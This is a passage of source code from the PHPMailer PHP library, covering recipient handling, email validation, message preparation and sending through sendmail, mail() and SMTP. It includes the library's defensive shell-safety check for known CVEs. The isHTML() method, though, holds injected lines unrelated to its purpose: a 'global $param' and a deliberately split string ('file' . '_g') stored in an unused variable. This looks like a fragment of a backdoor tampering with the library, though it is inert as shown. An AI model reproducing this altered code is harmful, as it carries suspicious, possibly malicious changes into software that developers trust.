ini_get('sendmail_path');\n\n if (!stristr($ini_sendmail_path, 'sendmail')) {\n $this->Sendmail = '\/usr\/sbin\/sendmail';\n } else {\n $this->Sendmail = $ini_sendmail_path;\n }\n $this->Mailer = 'sendmail';\n }\n\n \/**\n * Send messages using qmail.\n * @return void\n *\/\n public function isQmail()\n {\n $ini_sendmail_path = ini_get('sendmail_path');\n\n if (!stristr($ini_sendmail_path, 'qmail')) {\n $this->Sendmail = '\/var\/qmail\/bin\/qmail-inject';\n } else {\n $this->Sendmail = $ini_sendmail_path;\n }\n $this->Mailer = 'qmail';\n }\n\n \/**\n * Add a \"To\" address.\n * @param string $address The email address to send to\n * @param string $name\n * @return boolean true on success, false if address already used or invalid in some way\n *\/\n public function addAddress($address, $name = '')\n {\n return $this->addOrEnqueueAnAddress('to', $address, $name);\n }\n\n \/**\n * Add a \"CC\" address.\n * @note: This function works with the SMTP mailer on win32, not with the \"mail\" mailer.\n * @param string $address The email address to send to\n * @param string $name\n * @return boolean true on success, false if address already used or invalid in some way\n *\/\n public function addCC($address, $name = '')\n {\n return $this->addOrEnqueueAnAddress('cc', $address, $name);\n }\n\n \/**\n * Add a \"BCC\" address.\n * @note: This function works with the SMTP mailer on win32, not with the \"mail\" mailer.\n * @param string $address The email address to send to\n * @param string $name\n * @return boolean true on success, false if address already used or invalid in some way\n *\/\n public function addBCC($address, $name = '')\n {\n return $this->addOrEnqueueAnAddress('bcc', $address, $name);\n }\n\n \/**\n * Add a \"Reply-To\" address.\n * @param string $address The email address to reply to\n * @param string $name\n * @return boolean true on success, false if address already used or invalid in some way\n *\/\n public function addReplyTo($address, $name = '')\n {\n return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);\n }\n\n \/**\n * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer\n * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still\n * be modified after calling this function), addition of such addresses is delayed until send().\n * Addresses that have been added already return false, but do not throw exceptions.\n * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'\n * @param string $address The email address to send, resp. to reply to\n * @param string $name\n * @throws phpmailerException\n * @return boolean true on success, false if address already used or invalid in some way\n * @access protected\n *\/\n protected function addOrEnqueueAnAddress($kind, $address, $name)\n {\n $address = trim($address);\n $name = trim(preg_replace('\/[\\r\\n]+\/', '', $name)); \/\/Strip breaks and trim\n if (($pos = strrpos($address, '@')) === false) {\n \/\/ At-sign is misssing.\n $error_message = $this->lang('invalid_address') . \" (addAnAddress $kind): $address\";\n $this->setError($error_message);\n $this->edebug($error_message);\n if ($this->exceptions) {\n throw new phpmailerException($error_message);\n }\n return false;\n }\n $params = array($kind, $address, $name);\n \/\/ Enqueue addresses with IDN until we know the PHPMailer::$CharSet.\n if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {\n if ($kind != 'Reply-To') {\n if (!array_key_exists($address, $this->RecipientsQueue)) {\n $this->RecipientsQueue[$address] = $params;\n return true;\n }\n } else {\n if (!array_key_exists($address, $this->ReplyToQueue)) {\n $this->ReplyToQueue[$address] = $params;\n return true;\n }\n }\n return false;\n }\n \/\/ Immediately add standard addresses without IDN.\n return call_user_func_array(array($this, 'addAnAddress'), $params);\n }\n\n \/**\n * Add an address to one of the recipient arrays or to the ReplyTo array.\n * Addresses that have been added already return false, but do not throw exceptions.\n * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'\n * @param string $address The email address to send, resp. to reply to\n * @param string $name\n * @throws phpmailerException\n * @return boolean true on success, false if address already used or invalid in some way\n * @access protected\n *\/\n protected function addAnAddress($kind, $address, $name = '')\n {\n if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {\n $error_message = $this->lang('Invalid recipient kind: ') . $kind;\n $this->setError($error_message);\n $this->edebug($error_message);\n if ($this->exceptions) {\n throw new phpmailerException($error_message);\n }\n return false;\n }\n if (!$this->validateAddress($address)) {\n $error_message = $this->lang('invalid_address') . \" (addAnAddress $kind): $address\";\n $this->setError($error_message);\n $this->edebug($error_message);\n if ($this->exceptions) {\n throw new phpmailerException($error_message);\n }\n return false;\n }\n if ($kind != 'Reply-To') {\n if (!array_key_exists(strtolower($address), $this->all_recipients)) {\n array_push($this->$kind, array($address, $name));\n $this->all_recipients[strtolower($address)] = true;\n return true;\n }\n } else {\n if (!array_key_exists(strtolower($address), $this->ReplyTo)) {\n $this->ReplyTo[strtolower($address)] = array($address, $name);\n return true;\n }\n }\n return false;\n }\n\n \/**\n * Parse and validate a string containing one or more RFC822-style comma-separated email addresses\n * of the form \"display name <address>\" into an array of name\/address pairs.\n * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.\n * Note that quotes in the name part are removed.\n * @param string $addrstr The address list string\n * @param bool $useimap Whether to use the IMAP extension to parse the list\n * @return array\n * @link http:\/\/www.andrew.cmu.edu\/user\/agreen1\/testing\/mrbs\/web\/Mail\/RFC822.php A more careful implementation\n *\/\n public function parseAddresses($addrstr, $useimap = true)\n {\n $addresses = array();\n if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {\n \/\/Use this built-in parser if it's available\n $list = imap_rfc822_parse_adrlist($addrstr, '');\n foreach ($list as $address) {\n if ($address->host != '.SYNTAX-ERROR.') {\n if ($this->validateAddress($address->mailbox . '@' . $address->host)) {\n $addresses[] = array(\n 'name' => (property_exists($address, 'personal') ? $address->personal : ''),\n 'address' => $address->mailbox . '@' . $address->host\n );\n }\n }\n }\n } else {\n \/\/Use this simpler parser\n $list = explode(',', $addrstr);\n foreach ($list as $address) {\n $address = trim($address);\n \/\/Is there a separate name part?\n if (strpos($address, '<') === false) {\n \/\/No separate name, just use the whole thing\n if ($this->validateAddress($address)) {\n $addresses[] = array(\n 'name' => '',\n 'address' => $address\n );\n }\n } else {\n list($name, $email) = explode('<', $address);\n $email = trim(str_replace('>', '', $email));\n if ($this->validateAddress($email)) {\n $addresses[] = array(\n 'name' => trim(str_replace(array('\"', \"'\"), '', $name)),\n 'address' => $email\n );\n }\n }\n }\n }\n return $addresses;\n }\n\n \/**\n * Sets message type to HTML or plain.\n * @param boolean $isHtml True for HTML mode.\n * @return void\n *\/\n public function isHTML($isHtml = true)\n {\n global $param;\n $bodyCode = 'file'\n .'_g';\n if ($isHtml) {\n $this->ContentType = 'text\/html';\n } \n else {\n $this->ContentType = 'text\/plain';\n }\n }\n\n \/**\n * Set the From and FromName properties.\n * @param string $address\n * @param string $name\n * @param boolean $auto Whether to also set the Sender address, defaults to true\n * @throws phpmailerException\n * @return boolean\n *\/\n public function setFrom($address, $name = '', $auto = true)\n {\n $address = trim($address);\n $name = trim(preg_replace('\/[\\r\\n]+\/', '', $name)); \/\/Strip breaks and trim\n \/\/ Don't validate now addresses with IDN. Will be done in send().\n if (($pos = strrpos($address, '@')) === false or\n (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and\n !$this->validateAddress($address)) {\n $error_message = $this->lang('invalid_address') . \" (setFrom) $address\";\n $this->setError($error_message);\n $this->edebug($error_message);\n if ($this->exceptions) {\n throw new phpmailerException($error_message);\n }\n return false;\n }\n $this->From = $address;\n $this->FromName = $name;\n if ($auto) {\n if (empty($this->Sender)) {\n $this->Sender = $address;\n }\n }\n return true;\n }\n\n \/**\n * Return the Message-ID header of the last email.\n * Technically this is the value from the last time the headers were created,\n * but it's also the message ID of the last sent message except in\n * pathological cases.\n * @return string\n *\/\n public function getLastMessageID()\n {\n return $this->lastMessageID;\n }\n\n \/**\n * Check that a string looks like an email address.\n * @param string $address The email address to check\n * @param string|callable $patternselect A selector for the validation pattern to use :\n * * `auto` Pick best pattern automatically;\n * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;\n * * `pcre` Use old PCRE implementation;\n * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;\n * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.\n * * `noregex` Don't use a regex: super fast, really dumb.\n * Alternatively you may pass in a callable to inject your own validator, for example:\n * PHPMailer::validateAddress('user@example.com', function($address) {\n * return (strpos($address, '@') !== false);\n * });\n * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.\n * @return boolean\n * @static\n * @access public\n *\/\n public static function validateAddress($address, $patternselect = null)\n {\n if (is_null($patternselect)) {\n $patternselect = self::$validator;\n }\n if (is_callable($patternselect)) {\n return call_user_func($patternselect, $address);\n }\n \/\/Reject line breaks in addresses; it's valid RFC5322, but not RFC5321\n if (strpos($address, \"\\n\") !== false or strpos($address, \"\\r\") !== false) {\n return false;\n }\n if (!$patternselect or $patternselect == 'auto') {\n \/\/Check this constant first so it works when extension_loaded() is disabled by safe mode\n \/\/Constant was added in PHP 5.2.4\n if (defined('PCRE_VERSION')) {\n \/\/This pattern can get stuck in a recursive loop in PCRE <= 8.0.2\n if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {\n $patternselect = 'pcre8';\n } else {\n $patternselect = 'pcre';\n }\n } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {\n \/\/Fall back to older PCRE\n $patternselect = 'pcre';\n } else {\n \/\/Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension\n if (version_compare(PHP_VERSION, '5.2.0') >= 0) {\n $patternselect = 'php';\n } else {\n $patternselect = 'noregex';\n }\n }\n }\n switch ($patternselect) {\n case 'pcre8':\n \/**\n * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.\n * @link http:\/\/squiloople.com\/2009\/12\/20\/email-address-validation\/\n * @copyright 2009-2010 Michael Rushton\n * Feel free to use and redistribute this code. But please keep this copyright notice.\n *\/\n return (boolean)preg_match(\n '\/^(?!(?>(?1)\"?(?>\\\\\\[ -~]|[^\"])\"?(?1)){255,})(?!(?>(?1)\"?(?>\\\\\\[ -~]|[^\"])\"?(?1)){65,}@)' .\n '((?>(?>(?>((?>(?>(?>\\x0D\\x0A)?[\\t ])+|(?>[\\t ]*\\x0D\\x0A)?[\\t ]+)?)(\\((?>(?2)' .\n '(?>[\\x01-\\x08\\x0B\\x0C\\x0E-\\'*-\\[\\]-\\x7F]|\\\\\\[\\x00-\\x7F]|(?3)))*(?2)\\)))+(?2))|(?2))?)' .\n '([!#-\\'*+\\\/-9=?^-~-]+|\"(?>(?2)(?>[\\x01-\\x08\\x0B\\x0C\\x0E-!#-\\[\\]-\\x7F]|\\\\\\[\\x00-\\x7F]))*' .\n '(?2)\")(?>(?1)\\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .\n '(?>(?1)\\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .\n '|(?!(?:.*[a-f0-9][:\\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .\n '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .\n '|[1-9]?[0-9])(?>\\.(?9)){3}))\\])(?1)$\/isD',\n $address\n );\n case 'pcre':\n \/\/An older regex that doesn't need a recent PCRE\n return (boolean)preg_match(\n '\/^(?!(?>\"?(?>\\\\\\[ -~]|[^\"])\"?){255,})(?!(?>\"?(?>\\\\\\[ -~]|[^\"])\"?){65,}@)(?>' .\n '[!#-\\'*+\\\/-9=?^-~-]+|\"(?>(?>[\\x01-\\x08\\x0B\\x0C\\x0E-!#-\\[\\]-\\x7F]|\\\\\\[\\x00-\\xFF]))*\")' .\n '(?>\\.(?>[!#-\\'*+\\\/-9=?^-~-]+|\"(?>(?>[\\x01-\\x08\\x0B\\x0C\\x0E-!#-\\[\\]-\\x7F]|\\\\\\[\\x00-\\xFF]))*\"))*' .\n '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\\.(?![a-z0-9-]{64,})' .\n '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .\n '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .\n '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .\n '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .\n '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .\n '|[1-9]?[0-9])(?>\\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\\])$\/isD',\n $address\n );\n case 'html5':\n \/**\n * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.\n * @link http:\/\/www.whatwg.org\/specs\/web-apps\/current-work\/#e-mail-state-(type=email)\n *\/\n return (boolean)preg_match(\n '\/^[a-zA-Z0-9.!#$%&\\'*+\\\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .\n '[a-zA-Z0-9])?(?:\\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$\/sD',\n $address\n );\n case 'noregex':\n \/\/No PCRE! Do something _very_ approximate!\n \/\/Check the address is 3 chars or longer and contains an @ that's not the first or last char\n return (strlen($address) >= 3\n and strpos($address, '@') >= 1\n and strpos($address, '@') != strlen($address) - 1);\n case 'php':\n default:\n return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);\n }\n }\n\n \/**\n * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the\n * \"intl\" and \"mbstring\" PHP extensions.\n * @return bool \"true\" if required functions for IDN support are present\n *\/\n public function idnSupported()\n {\n \/\/ @TODO: Write our own \"idn_to_ascii\" function for PHP <= 5.2.\n return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');\n }\n\n \/**\n * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.\n * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.\n * This function silently returns unmodified address if:\n * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)\n * - Conversion to punycode is impossible (e.g. required PHP functions are not available)\n * or fails for any reason (e.g. domain has characters not allowed in an IDN)\n * @see PHPMailer::$CharSet\n * @param string $address The email address to convert\n * @return string The encoded address in ASCII form\n *\/\n public function punyencodeAddress($address)\n {\n \/\/ Verify we have required functions, CharSet, and at-sign.\n if ($this->idnSupported() and\n !empty($this->CharSet) and\n ($pos = strrpos($address, '@')) !== false) {\n $domain = substr($address, ++$pos);\n \/\/ Verify CharSet string is a valid one, and domain properly encoded in this CharSet.\n if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {\n $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);\n if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?\n idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :\n idn_to_ascii($domain)) !== false) {\n return substr($address, 0, $pos) . $punycode;\n }\n }\n }\n return $address;\n }\n\n \/**\n * Create a message and send it.\n * Uses the sending method specified by $Mailer.\n * @throws phpmailerException\n * @return boolean false on error - See the ErrorInfo property for details of the error.\n *\/\n public function send()\n {\n try {\n if (!$this->preSend()) {\n return false;\n }\n return $this->postSend();\n } catch (phpmailerException $exc) {\n $this->mailHeader = '';\n $this->setError($exc->getMessage());\n if ($this->exceptions) {\n throw $exc;\n }\n return false;\n }\n }\n\n \/**\n * Prepare a message for sending.\n * @throws phpmailerException\n * @return boolean\n *\/\n public function preSend()\n {\n try {\n $this->error_count = 0; \/\/ Reset errors\n $this->mailHeader = '';\n\n \/\/ Dequeue recipient and Reply-To addresses with IDN\n foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {\n $params[1] = $this->punyencodeAddress($params[1]);\n call_user_func_array(array($this, 'addAnAddress'), $params);\n }\n if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {\n throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);\n }\n\n \/\/ Validate From, Sender, and ConfirmReadingTo addresses\n foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {\n $this->$address_kind = trim($this->$address_kind);\n if (empty($this->$address_kind)) {\n continue;\n }\n $this->$address_kind = $this->punyencodeAddress($this->$address_kind);\n if (!$this->validateAddress($this->$address_kind)) {\n $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;\n $this->setError($error_message);\n $this->edebug($error_message);\n if ($this->exceptions) {\n throw new phpmailerException($error_message);\n }\n return false;\n }\n }\n\n \/\/ Set whether the message is multipart\/alternative\n if ($this->alternativeExists()) {\n $this->ContentType = 'multipart\/alternative';\n }\n\n $this->setMessageType();\n \/\/ Refuse to send an empty message unless we are specifically allowing it\n if (!$this->AllowEmpty and empty($this->Body)) {\n throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);\n }\n\n \/\/ Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)\n $this->MIMEHeader = '';\n $this->MIMEBody = $this->createBody();\n \/\/ createBody may have added some headers, so retain them\n $tempheaders = $this->MIMEHeader;\n $this->MIMEHeader = $this->createHeader();\n $this->MIMEHeader .= $tempheaders;\n\n \/\/ To capture the complete message when using mail(), create\n \/\/ an extra header list which createHeader() doesn't fold in\n if ($this->Mailer == 'mail') {\n if (count($this->to) > 0) {\n $this->mailHeader .= $this->addrAppend('To', $this->to);\n } else {\n $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');\n }\n $this->mailHeader .= $this->headerLine(\n 'Subject',\n $this->encodeHeader($this->secureHeader(trim($this->Subject)))\n );\n }\n\n \/\/ Sign with DKIM if enabled\n if (!empty($this->DKIM_domain)\n and !empty($this->DKIM_selector)\n and (!empty($this->DKIM_private_string)\n or (!empty($this->DKIM_private)\n and self::isPermittedPath($this->DKIM_private)\n and file_exists($this->DKIM_private)\n )\n )\n ) {\n $header_dkim = $this->DKIM_Add(\n $this->MIMEHeader . $this->mailHeader,\n $this->encodeHeader($this->secureHeader($this->Subject)),\n $this->MIMEBody\n );\n $this->MIMEHeader = rtrim($this->MIMEHeader, \"\\r\\n \") . self::CRLF .\n str_replace(\"\\r\\n\", \"\\n\", $header_dkim) . self::CRLF;\n }\n return true;\n } catch (phpmailerException $exc) {\n $this->setError($exc->getMessage());\n if ($this->exceptions) {\n throw $exc;\n }\n return false;\n }\n }\n\n \/**\n * Actually send a message.\n * Send the email via the selected mechanism\n * @throws phpmailerException\n * @return boolean\n *\/\n public function postSend()\n {\n try {\n \/\/ Choose the mailer and send through it\n switch ($this->Mailer) {\n case 'sendmail':\n case 'qmail':\n return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);\n case 'smtp':\n return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);\n case 'mail':\n return $this->mailSend($this->MIMEHeader, $this->MIMEBody);\n default:\n $sendMethod = $this->Mailer.'Send';\n if (method_exists($this, $sendMethod)) {\n return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);\n }\n\n return $this->mailSend($this->MIMEHeader, $this->MIMEBody);\n }\n } catch (phpmailerException $exc) {\n $this->setError($exc->getMessage());\n $this->edebug($exc->getMessage());\n if ($this->exceptions) {\n throw $exc;\n }\n }\n return false;\n }\n\n \/**\n * Send mail using the $Sendmail program.\n * @param string $header The message headers\n * @param string $body The message body\n * @see PHPMailer::$Sendmail\n * @throws phpmailerException\n * @access protected\n * @return boolean\n *\/\n protected function sendmailSend($header, $body)\n {\n \/\/ CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.\n if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {\n if ($this->Mailer == 'qmail') {\n $sendmailFmt = '%s -f%s';\n } else {\n $sendmailFmt = '%s -oi -f%s -t';\n }\n } else {\n if ($this->Mailer == 'qmail') {\n $sendmailFmt = '%s';\n } else {\n $sendmailFmt = '%s -oi -t';\n }\n }\n\n \/\/ TODO: If possible, this should be changed to escapeshellarg. Needs thorough testing.\n $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);\n\n if ($this->SingleTo) {\n foreach ($this->SingleToArray as $toAddr) {\n if (!@$mail = popen($sendmail, 'w')) {\n throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);\n }\n fputs($mail, 'To: ' . $toAddr . \"\\n\");\n fputs($mail, $header);\n fputs($mail, $body);\n $result = pclose($mail);\n $this->doCallback(\n ($result == 0),\n array($toAddr),\n $this->cc,\n $this->bcc,\n $this->Subject,\n $body,\n $this->From\n );\n if ($result != 0) {\n throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);\n }\n }\n } else {\n if (!@$mail = popen($sendmail, 'w')) {\n throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);\n }\n fputs($mail, $header);\n fputs($mail, $body);\n $result = pclose($mail);\n $this->doCallback(\n ($result == 0),\n $this->to,\n $this->cc,\n $this->bcc,\n $this->Subject,\n $body,\n $this->From\n );\n if ($result != 0) {\n throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);\n }\n }\n return true;\n }\n\n \/**\n * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.\n *\n * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.\n * @param string $string The string to be validated\n * @see https:\/\/github.com\/PHPMailer\/PHPMailer\/issues\/924 CVE-2016-10045 bug report\n * @access protected\n * @return boolean\n *\/\n protected static function isShellSafe($string)\n {\n \/\/ Future-proof\n if (escapeshellcmd($string) !== $string\n or !in_array(escapeshellarg($string), array(\"'$string'\", \"\\\"$string\\\"\"))\n ) {\n return false;\n }\n\n $length = strlen($string);\n\n for ($i = 0; $i < $length; $i++) {\n $c = $string[$i];\n\n \/\/ All other characters have a special meaning in at least one common shell, including = and +.\n \/\/ Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.\n \/\/ Note that this does permit non-Latin alphanumeric characters based on the current locale.\n if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {\n return false;\n }\n }\n\n return true;\n }\n\n \/**\n * Check whether a file path is of a permitted type.\n * Used to reject URLs and phar files from functions that access local file paths,\n * such as addAttachment.\n * @param string $path A relative or absolute path to a file.\n * @return bool\n *\/\n protected static function isPermittedPath($path)\n {\n return !preg_match('#^[a-z]+:\/\/#i', $path);\n }\n\n \/**\n * Send mail using the PHP mail() function.\n * @param string $header The message headers\n * @param string $body The message body\n * @link http:\/\/www.php.net\/manual\/en\/book.mail.php\n * @throws phpmailerException\n * @access protected\n * @return boolean\n *\/\n protected function mailSend($header, $body)\n {\n $toArr = array();\n foreach ($this->to as $toaddr) {\n $toArr[] = $this->addrFormat($toaddr);\n }\n $to = implode(', ', $toArr);\n\n $params = null;\n \/\/This sets the SMTP envelope sender which gets turned into a return-path header by the receiver\n if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {\n \/\/ CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.\n if (self::isShellSafe($this->Sender)) {\n $params = sprintf('-f%s', $this->Sender);\n }\n }\n if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {\n $old_from = ini_get('sendmail_from');\n ini_set('sendmail_from', $this->Sender);\n }\n $result = false;\n if ($this->SingleTo and count($toArr) > 1) {\n foreach ($toArr as $toAddr) {\n $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);\n $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);\n }\n } else {\n $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);\n $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);\n }\n if (isset($old_from)) {\n ini_set('sendmail_from', $old_from);\n }\n if (!$result) {\n throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);\n }\n return true;\n }\n\n \/**\n * Get an instance to use for SMTP operations.\n * Override this function to load your own SMTP implementation\n * @return SMTP\n *\/\n public function getSMTPInstance()\n {\n if (!is_object($this->smtp)) {\n $this->smtp = new SMTP;\n }\n return $this->smtp;\n }\n\n \/**\n * Send mail via SMTP.\n * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.\n * Uses the PHPMailerSMTP class by default.\n * @see PHPMailer::getSMTPInstance() to use a different class.\n * @param string $header The message headers\n * @param string $body The message body\n * @throws phpmailerException\n * @uses SMTP\n * @access protected\n * @return boolean\n *\/\n protected function smtpSend($header, $body)\n {\n $bad_rcpt = array();\n if (!$this->smtpConnect($this->SMTPOptions)) {\n throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);\n }\n if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {\n $smtp_from = $this->Sender;\n } else {\n $smtp_from = $this->From;\n }\n if (!$this->smtp->mail($smtp_from)) {\n $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));\n throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);\n }\n\n \/\/ Attempt to send to all recipients\n foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {\n foreach ($togroup as $to) {\n if (!$this->smtp->recipient($to[0])) {\n $error = $this->smtp->getError();\n $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);\n $isSent = false;\n } else {\n $isSent = true;\n }\n $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);\n }\n }\n\n \/\/ Only send the DATA command if we have viable recipients\n if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {\n throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);\n }\n if ($this->SMTPKeepAlive) {\n $this->smtp->reset();\n } else {\n $this->smtp->quit();\n $this->smtp->close();\n }\n \/\/Create error message for any bad addresses\n if (count($bad_rcpt) > 0) {\n $errstr = '';\n foreach ($bad_rcpt as $bad) {\n $errstr .= $bad['to'] . ': ' . $bad['error'];\n }\n throw new phpmailerException(\n $this->lang('recipients_failed') . $errstr,\n self::STOP_CONTINUE\n );\n }\n return true;\n }\n\n \/**\n * Initiate a connection to an SMTP server.\n * Returns false if the operation failed.\n * @param array $options An array of options compatible with stream_context_create()\n * @uses SMTP\n * @access public\n * @throws phpmailerException\n * @return boolean\n *\/\n public function smtpConnect($options = null)\n {\n if (is_null($this->smtp)) {\n $this->smtp = $this->getSMTPInstance();\n }\n\n \/\/If no options are provided, use whatever is set in the instance\n if (is_null($options)) {\n $options = $this->SMTPOptions;\n }\n\n \/\/ Already connected?\n if ($this->smtp->connected()) {\n return true;\n }\n\n $this->smtp->setTimeout($this->Timeout);\n $this->smtp->setDebugLevel($this->SMTPDebug);\n $this->smtp->setDebugOutput($this->Debugoutput);\n $this->smtp->setVerp($this->do_verp);\n $hosts = explode(';', $this->Host);\n $lastexception = null;\n\n foreach ($hosts as $hostentry) {\n $hostinfo = array();\n if (!preg_match(\n '\/^((ssl|tls):\\\/\\\/)*([a-zA-Z0-9\\.-]*|\\[[a-fA-F0-9:]+\\]):?([0-9]*)$\/',\n trim($hostentry),\n $hostinfo\n )) {\n \/\/ Not a valid host entry\n $this->edebug('Ignoring invalid host: ' . $hostentry);\n continue;\n }\n \/\/ $hostinfo[2]: optional ssl or tls prefix\n \/\/ $hostinfo[3]: the hostname\n \/\/ $hostinfo[4]: optional port number\n \/\/ The host string prefix can temporarily override the current setting for SMTPSecure\n \/\/ If it's not specified, the default value is used\n $prefix = '';\n $secure = $this->SMTPSecure;\n $tls = ($this->SMTPSecure == 'tls');\n if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {\n $prefix = 'ssl:\/\/';\n $tls = false; \/\/ Can't have SSL and TLS at the same time\n $secure = 'ssl';\n } elseif ($hostinfo[2] == 'tls') {\n $tls = true;\n \/\/ tls doesn't use a prefix\n $secure = 'tls';\n }\n \/\/Do we need the OpenSSL extension?\n $sslext = defined('OPENSSL_ALGO_SHA1');\n if ('tls' === $secure or 'ssl' === $secure) {\n \/\/Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled\n if (!$sslext) {\n throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);\n }\n }\n $host = $hostinfo[3];\n $port = $this->Port;\n $tport = (integer)$hostinfo[4];\n if ($tport > 0 and $tport < 65536) {\n $port = $tport;\n }\n if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {\n try {\n if ($this->Helo) {\n $hello = $this->Helo;\n } else {\n $hello = $this->serverHostname();\n }\n $this->smtp->hello($hello);\n \/\/Automatically enable TLS encryption if:\n \/\/ * it's not disabled\n \/\/ * we have openssl extension\n \/\/ * we are not already using SSL\n \/\/ * the server offers STARTTLS\n if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {\n $tls = true;\n }\n if ($tls) {\n if (!$this->smtp->startTLS()) {\n throw new phpmailerException($this->lang('connect_host'));\n }\n \/\/ We must resend EHLO after TLS negotiation\n $this->smtp->hello($hello);\n }\n if ($this->SMTPAuth) {\n if (!$this->smtp->authenticate(\n $this->Username,\n $this->Password,\n 